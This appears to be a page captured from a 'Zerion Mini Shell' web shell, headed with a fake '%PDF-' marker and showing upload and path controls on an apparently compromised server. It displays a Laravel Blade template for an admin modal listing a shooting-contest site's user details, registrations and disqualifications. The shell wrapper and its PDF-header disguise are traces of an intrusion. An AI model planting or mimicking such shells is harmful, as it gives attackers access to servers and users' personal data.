%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/loslex/test/resources/views/livewire/
Upload File :
Create Path :
Current File : //www/loslex/test/resources/views/livewire/modal-user-show.blade.php

<div class="w-full" wire:key="showuser-{{ $user->id }}">
    <div class="border-b mb-2 text-xl font-semibold">
        {{ $user->displayname }}
        @if(!$user->is_active)<span class="uppercase"> - {{__('Banned!')}}</span>@endif
        <div class="float-right flex gap-x-2 text-base">
            @if ($user->trashed())
                <button wire:click="undelete" wire:confirm="{{ __('Do you really want to RESTORE this user?') }}"><span title="{{ __('Restore Account') }}" class="fa-solid fa-recycle"></span></button>
            @else
                <button wire:click="delete" wire:confirm="{{ __('Do you really want to DELETE this user?') }}"><span title="{{ __('Delete Account')}}" class="fa-solid fa-trash-can"></span></button>
            @endif
            <button wire:click="$dispatch('closeModal')"title="{{ __('Close dialog') }}"><span class="fa-solid fa-circle-xmark text-red-500"></button>
        </div>
    </div>

    <div class="grid grid-cols-fitfirst gap-x-2 gap-y-1 content-baseline mb-2 border-b">
        @if (!$user->is_active && $user->ban_reason)
            <div><span class="fa-solid fa-triangle-exclamation mr-1 text-red-500" title="{{ __('Ban reason') }}"></span></div>
            <div>{{ $user->ban_reason }}</div>
            @endif

        <div><span class="mr-1 fa-solid fa-id-badge" title="{{ __('DB id') }}"></span></div>
        <div>{{ $user->id }}</div>

        <div><span class="mr-1 fa-solid fa-fingerprint" title="{{ __('LOS Alias') }}"></span></div>
        <div>{{ $user->username }}</div>

        <div><span class="fa-solid fa-at mr-1 @if($user->email_verified_at) text-green-500 @else text-red-500 @endif" title="{{ __('Email') }}"></span></div>
        <div><a href="mailto:{{ $user->email }}">{{ $user->email }}</a></div>

        @if ($user->phone_number)
            <div><span class="mr-1 fa-solid fa-phone" title="{{ __('Phone number') }}"></span></div>
            <div class="whitespace-nowrap">{{ $user->phone_number_formatted() }}</div>
        @endif

        <div><span class="fa-solid fa-gun mr-1" title="{{ __('Licence number') }}"></span></div>
        <div>{{ $user->licence_number ?? '---' }}</div>

        @if ($user->lex_hash)
            <div><img class="h-4 mr-1 inline" src="/assets/images/lex-logo.webp" alt="LEX" title="{{ __('LEX membership control code') }}" /></div>
            <div>
                <a href="https://k.gunlex.cz/{{ $user->lex_hash }}" target="lexmembership">{{ $user->lex_hash }}</a>
                @if ($user->lex_validity)<span class="text-xs">({{ $user->lex_validity->isoFormat('LL') }})</span>@endif
            </div>
        @endif

        @if ($user->city)
            <div><span class="fa-solid fa-city mr-1" title="{{ __('City') }}"></span></div>
            <div>{{ $user->city }}</div>
        @endif

        @if (auth()->user()?->is_admin)
            <div><span class="fa-solid fa-unlock-keyhole mr-1" title="{{ __('Last login') }}"></span></div>
            <div>{{ $user->last_login }}</div>

            <div><span class="fa-solid fa-user-plus mr-1" title="{{ __('Account created') }}"></span></div>
            <div>{{ $user->created_at }}</div>

            <div><span class="fa-solid fa-user-pen mr-1" title="{{ __('Account updated') }}"></span></div>
            <div>{{ $user->updated_at }}</div>

            @if ($user->deleted_at)
                <div><span class="fa-solid fa-user-xmark mr-1" title="{{ __('Account deleted') }}"></span></div>
                <div>{{ $user->deleted_at }}</div>
            @endif

            @if ($user->email_verified_at)
                <div><span class="fa-solid fa-envelope-circle-check mr-1" title="{{ __('Email verified') }}"></span></div>
                <div>{{ $user->email_verified_at }}</div>
            @endif
        @endif
    </div>

    @if (auth()->user()?->is_admin)
        @if ($user->organizer_groups->count())
            <div class="mb-2 pb-2 border-b">
                <div class="font-semibold">{{ __('Organizer') }}</div>
                @foreach ($user->organizer_groups as $orgroup)
                    <div class="text-sm"><a href="{{ route('organizer.show', $orgroup->id) }}" target="orgroups">{{ $orgroup->name }}</a></div>
                @endforeach
            </div>
        @endif


        <div class="font-semibold">{{ __('Contests') }}</div>
        <div class="text-sm grid grid-cols-[max-content_max-content_max-content_auto] gap-x-2 gap-y-1 mb-2 border-b">
            @if ($user->registrations->count())
                @foreach ($user->registrations as $reg)
                    <div>{{ $reg->contest->date->isoFormat("YYYY-MM-DD") }}</div>
                    <div class="cursor-help" title="{{ __('contest.' . $reg->contest->contest_level?->name) }}">{{ __('contest.short-' . $reg->contest->contest_level?->name) }}</div>
                    <div class="cursor-help" title="{{ __('contest.' . $reg->division?->division) }}">{{ $reg->division?->division }} @if ($reg->notcomp){{ __('(NC)') }}@endif</div>
                    <div class="truncate"><a href="{{ route('contest.show', $reg->contest->id) }}" target="contest">{{ $reg->contest->contestname }}</a></div>
                @endforeach
            @else
                {{ __('No registrations...') }}
            @endif
        </div>

        @if ($user->dqs())
            <div class="font-semibold">{{ __('Disqualifications') }}</div>
            <div class="text-sm grid grid-cols-[max-content_max-content_max-content_auto] gap-x-2 gap-y-1 mb-2 border-b">
                @foreach ($user->dqsList() as $reg)
                    <div>{{ $reg->contest->date->isoFormat("YYYY-MM-DD") }}</div>
                    <div class="cursor-help" title="{{ __('contest.' . $reg->contest->contest_level?->name) }}">{{ __('contest.short-' . $reg->contest->contest_level?->name) }}</div>
                    <div class="cursor-help" title="{{ __('contest.' . $reg->division?->division) }}">{{ $reg->division?->division }} @if ($reg->notcomp){{ __('(NC)') }}@endif</div>
                    <div class="truncate"><a href="{{ route('contest.show', $reg->contest->id) }}" target="contest">{{ $reg->contest->contestname }}</a></div>
                @endforeach
            </div>
        @endif
    @endif
</div>

Zerion Mini Shell 1.0